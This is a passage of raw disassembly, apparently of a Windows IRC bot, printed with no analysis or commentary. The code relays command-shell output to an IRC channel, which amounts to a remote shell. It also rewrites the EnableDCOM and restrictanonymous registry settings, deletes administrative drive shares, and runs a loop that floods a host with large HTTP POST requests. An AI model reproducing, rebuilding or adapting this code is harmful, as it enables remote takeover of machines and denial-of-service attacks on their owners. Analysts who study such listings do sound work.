sub_419C09+223j push 1 pop eax jmp short loc_419E0A sub_419C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43A438 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E97 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419E97: ; CODE XREF: sub_419E38+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419C09 add esp, 18h test eax, eax jnz short loc_419EBF push offset unk_43A414 jmp short loc_419EC4 ; --------------------------------------------------------------------------- loc_419EBF: ; CODE XREF: sub_419E38+7Ej push offset unk_43A3F0 loc_419EC4: ; CODE XREF: sub_419E38+85j lea eax, [ebp+var_298] push eax call sub_41C266 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419EF7 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419EF7: ; CODE XREF: sub_419E38+9Dj lea eax, [ebp+var_298] push eax call sub_415D38 push [ebp+var_14] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26F0A80h pop edi pop esi sub_419E38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p ; sub_40B4F5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 26902E0h nop mov esi, eax test esi, esi jz short loc_419F48 push 0 push esi call near ptr 2730250h nop test eax, eax jnz short loc_419F48 push esi xor edi, edi nop call near ptr 2670770h loc_419F48: ; CODE XREF: sub_419F16+1Aj ; sub_419F16+27j mov eax, edi pop edi pop esi retn sub_419F16 endp ; --------------------------------------------------------------------------- byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h dd 8DE89000h, 0EB02266Fh db 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap ; sub_419FD5+7Ep ... mov eax, dword_4DBC48 push esi mov esi, dword_427070 cmp eax, 0FFFFFFFFh jz short loc_419F81 push eax call esi loc_419F81: ; CODE XREF: sub_419F6D+Fj mov eax, dword_4DBC50 cmp eax, 0FFFFFFFFh jz short loc_419F8E push eax call esi loc_419F8E: ; CODE XREF: sub_419F6D+1Cj mov eax, dword_4DBC44 cmp eax, 0FFFFFFFFh jz short loc_419F9B push eax call esi loc_419F9B: ; CODE XREF: sub_419F6D+29j pop esi retn sub_419F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B9C0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DBC4C nop call near ptr 2720000h test eax, eax jnz short loc_419FD0 call sub_419F6D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419FD0: ; CODE XREF: sub_419F9D+28j push 1 pop eax leave retn sub_419F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p ; sub_41A05C+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43DB88 push [ebp+arg_4] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41A018 push 7D0h nop call near ptr 2680EF8h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C266 add esp, 10h jmp short loc_41A02F ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FD5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C266 add esp, 0Ch loc_41A02F: ; CODE XREF: sub_419FD5+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 test eax, eax jg short loc_41A058 call sub_419F6D loc_41A058: ; CODE XREF: sub_419FD5+7Cj xor eax, eax leave retn sub_419FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DBC54 loc_41A074: ; CODE XREF: sub_41A05C+79j ; sub_41A05C+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DBC48 nop call near ptr 28504F5h test eax, eax jz loc_41A142 cmp [ebp+var_4], edi jnz short loc_41A0D7 lea eax, [ebp+var_8] push eax push dword_4DBC44 nop call near ptr 2850000h test eax, eax jz short loc_41A0CD cmp [ebp+var_8], 103h jnz loc_41A166 loc_41A0CD: ; CODE XREF: sub_41A05C+62j push 0Ah nop call near ptr 2680EF8h jmp short loc_41A074 ; --------------------------------------------------------------------------- loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A0EE loc_41A0DE: ; CODE XREF: sub_41A05C+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A13C inc eax cmp eax, [ebp+var_4] jb short loc_41A0DE loc_41A0EE: ; CODE XREF: sub_41A05C+80j mov [ebp+var_4], esi loc_41A0F1: ; CODE XREF: sub_41A05C+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DBC48 nop call near ptr 271129Ah test eax, eax jz short loc_41A18E lea eax, [ebp+var_20C] push eax push ebx push dword_4DBC88 call sub_419FD5 add esp, 0Ch jmp loc_41A074 ; --------------------------------------------------------------------------- loc_41A13C: ; CODE XREF: sub_41A05C+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A0F1 ; --------------------------------------------------------------------------- loc_41A142: ; CODE XREF: sub_41A05C+45j push offset unk_43A4C0 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push 1 nop call near ptr 26F0A80h loc_41A166: ; CODE XREF: sub_41A05C+6Bj call sub_419F6D push offset unk_43A498 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call near ptr 26F0A80h nop loc_41A18E: ; CODE XREF: sub_41A05C+C3j push offset unk_43A468 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call near ptr 26F0A80h nop sub_41A05C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F6D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_4346E0 push esi call dword_4CBA90 test eax, eax jz loc_41A2AB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A2AB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A2AB mov edi, dword_427104 push 3 push esi push esi push offset dword_4DBC4C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2730320h test eax, eax jz short loc_41A2AB push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BF70 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43DB88 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 26709E4h test eax, eax jnz short loc_41A2B3 loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj ; sub_41A1B1+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A361 ; --------------------------------------------------------------------------- loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j push [ebp+var_4] mov edi, dword_427070 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DBC48, eax mov eax, [ebp+var_8] mov dword_4DBC50, eax mov eax, [ebp+var_2C] mov dword_4DBC44, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DBC88, eax jz short loc_41A2ED push [ebp+arg_4] jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2ED: ; CODE XREF: sub_41A1B1+135j push ebx loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj push offset dword_4DBC54 call sub_41C266 pop ecx pop ecx push esi push 0Ah push offset unk_43A524 call sub_40B3BA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E918[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A05C push esi push esi nop call near ptr 2690000h cmp eax, esi mov dword_43E924[edi], eax jnz short loc_41A35F nop call near ptr 269086Bh push eax lea eax, [ebp+var_378] push offset unk_43A4F0 push eax call sub_41C266 lea eax, [ebp+var_378] push eax call sub_415D38 add esp, 10h loc_41A35F: ; CODE XREF: sub_41A1B1+185j xor eax, eax loc_41A361: ; CODE XREF: sub_41A1B1+FDj pop edi pop esi pop ebx leave retn sub_41A1B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A3AD call sub_41A3C6 jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A366+3Ej call sub_41A6EA loc_41A3B2: ; CODE XREF: sub_41A366+45j add esp, 10h push [ebp+var_14] call sub_40B6D6 pop ecx push 0 nop call near ptr 26F0A80h sub_41A366 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CBAA4, edi jnz loc_41A4F8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A451 mov ax, word_439298 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A433 push offset dword_43A7C0 jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A433: ; CODE XREF: sub_41A3C6+64j push offset dword_43A7A0 loc_41A438: ; CODE XREF: sub_41A3C6+6Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A464 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3C6+36j lea eax, [ebp+var_214] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A464: ; CODE XREF: sub_41A3C6+89j cmp [ebp+arg_C], edi jnz short loc_41A483 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A483: ; CODE XREF: sub_41A3C6+A1j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A4F1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB9F8 test eax, eax jz short loc_41A4D3 push offset dword_43A720 jmp short loc_41A4D8 ; --------------------------------------------------------------------------- loc_41A4D3: ; CODE XREF: sub_41A3C6+104j push offset dword_43A6EC loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A50B ; --------------------------------------------------------------------------- loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j push offset dword_43A6B0 jmp short loc_41A4FD ; --------------------------------------------------------------------------- loc_41A4F8: ; CODE XREF: sub_41A3C6+13j push offset dword_43A680 loc_41A4FD: ; CODE XREF: sub_41A3C6+130j lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx loc_41A50B: ; CODE XREF: sub_41A3C6+129j cmp [ebp+arg_C], edi jnz short loc_41A52A push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A52A: ; CODE XREF: sub_41A3C6+148j lea eax, [ebp+var_214] push eax call sub_415D38 cmp dword_4CBACC, edi pop ecx jnz loc_41A6A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB918 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A5EA cmp eax, 0EAh jz short loc_41A5EA mov esi, offset off_43A548 loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj push dword ptr [esi] push edi call sub_4191B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A595 push offset dword_43A65C jmp short loc_41A59A ; --------------------------------------------------------------------------- loc_41A595: ; CODE XREF: sub_41A3C6+1C6j push offset dword_43A630 loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A5CD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj lea eax, [ebp+var_214] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A568 jb short loc_41A57E jmp loc_41A682 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj ; sub_41A3C6+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A679 loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj mov edi, [esi] push edi call sub_41E0B7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A66E push edi call sub_4190A5 push eax push 0 call sub_4191B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A628 push offset dword_43A60C jmp short loc_41A62D ; --------------------------------------------------------------------------- loc_41A628: ; CODE XREF: sub_41A3C6+259j push offset dword_43A5E0 loc_41A62D: ; CODE XREF: sub_41A3C6+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A661 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A661: ; CODE XREF: sub_41A3C6+27Fj lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx loc_41A66E: ; CODE XREF: sub_41A3C6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A5F9 xor edi, edi loc_41A679: ; CODE XREF: sub_41A3C6+22Dj push [ebp+var_8] call dword_4CBA64 loc_41A682: ; CODE XREF: sub_41A3C6+21Fj cmp [ebp+var_10], 0EAh jz loc_41A54D lea eax, [ebp+var_214] push offset dword_43A5B8 push eax call sub_41C266 pop ecx pop ecx pop ebx jmp short loc_41A6B8 ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A3C6+177j lea eax, [ebp+var_214] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj cmp [ebp+arg_C], edi jnz short loc_41A6D6 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CBAA4, ebx push esi jnz loc_41A818 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A775 mov ax, word_4392DC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A757 push offset dword_43A938 jmp short loc_41A75C ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6EA+64j push offset dword_43A91C loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A788 ; --------------------------------------------------------------------------- loc_41A775: ; CODE XREF: sub_41A6EA+36j lea eax, [ebp+var_220] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A788: ; CODE XREF: sub_41A6EA+89j cmp [ebp+arg_C], ebx jnz short loc_41A7A7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A811 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB9F8 test eax, eax jz short loc_41A7F3 push offset dword_43A8DC jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F3: ; CODE XREF: sub_41A6EA+100j push offset dword_43A8A4 loc_41A7F8: ; CODE XREF: sub_41A6EA+107j lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A82B ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A6EA+E2j push offset dword_43A868 jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A818: ; CODE XREF: sub_41A6EA+13j push offset dword_43A680 loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx loc_41A82B: ; CODE XREF: sub_41A6EA+125j cmp [ebp+arg_C], ebx jnz short loc_41A84A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A84A: ; CODE XREF: sub_41A6EA+144j lea eax, [ebp+var_220] push eax call sub_415D38 cmp dword_4CBACC, ebx pop ecx jnz loc_41A9BF push edi mov esi, offset off_43A548 mov edi, 200h loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_41910C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A889 push offset dword_43A848 jmp short loc_41A88E ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A6EA+196j push offset dword_43A820 loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A8BD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j lea eax, [ebp+var_220] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A558 jb short loc_41A86E nop call near ptr 28507A1h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A9A7 loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A99C cmp bl, 41h jz loc_41A99C movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CBA34 cmp eax, 3 jnz short loc_41A99C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_41910C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A95A push offset dword_43A848 jmp short loc_41A95F ; --------------------------------------------------------------------------- loc_41A95A: ; CODE XREF: sub_41A6EA+267j push offset dword_43A820 loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A98F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A98F: ; CODE XREF: sub_41A6EA+289j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx loc_41A99C: ; CODE XREF: sub_41A6EA+206j ; sub_41A6EA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A8E8 loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j lea eax, [ebp+var_220] push offset dword_43A7F0 push eax call sub_41C266 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A9D2 ; --------------------------------------------------------------------------- loc_41A9BF: ; CODE XREF: sub_41A6EA+173j lea eax, [ebp+var_220] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A9F0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A6EA endp ; =============== S U B R O U T I N E ======================================= sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp ; sub_41ABFB+DDp ... arg_0 = dword ptr 4 nop call near ptr 26A07AFh push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p ; sub_41ABFB+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41ABF7 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BF70 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8F0 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41ABF7 push 50h call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41ABF7 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_41ABF7 push 32003h call sub_41D9A5 mov edi, dword_4270B0 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C2B8 call sub_41C2C2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BF70 push 32000h push esi push ebx call sub_41BF70 push ebx call sub_41B9C0 push 323EAh mov ebx, eax call sub_41D9A5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C266 push [ebp+var_8] push esi call sub_41C8A0 push offset asc_4349EC ; "\r\n" push esi call sub_41C8A0 push esi call sub_41B9C0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB77 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AB47 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41AA1E+157j mov eax, [ebp+arg_0] loc_41AB47: ; CODE XREF: sub_41AA1E+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AB57 push [ebp+var_C] jmp short loc_41AB58 ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA1E+132j push ebx loc_41AB58: ; CODE XREF: sub_41AA1E+137j add eax, esi push eax push [ebp+var_4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_41ABDE add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AB44 loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4276F4 fst [ebp+arg_0] fcomp flt_4276F0 fnstsw ax sahf jnz short loc_41AB9F fld1 fstp [ebp+arg_0] loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild 